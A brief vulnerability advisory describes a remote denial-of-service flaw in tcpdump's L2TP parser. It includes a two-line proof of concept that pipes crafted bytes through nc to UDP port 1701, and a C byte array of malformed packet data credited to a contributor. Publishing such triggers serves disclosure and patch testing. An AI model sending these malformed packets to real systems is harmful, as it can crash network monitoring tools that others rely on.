Tcpdump L2TP Parser Remote Denial of Service Vulnerability

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Tcpdump L2TP Parser Remote Denial of Service Vulnerability

The following proof of concept has been provided:

tcpdump -i lo0 -n udp and dst port 1701 &
perl -e 'print "\xff\x02"' | nc -u localhost 1701

Example packet data has been provided by Balaram Amgoth <ramgoth@yahoo.com>:
char packet[] = "\x82\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";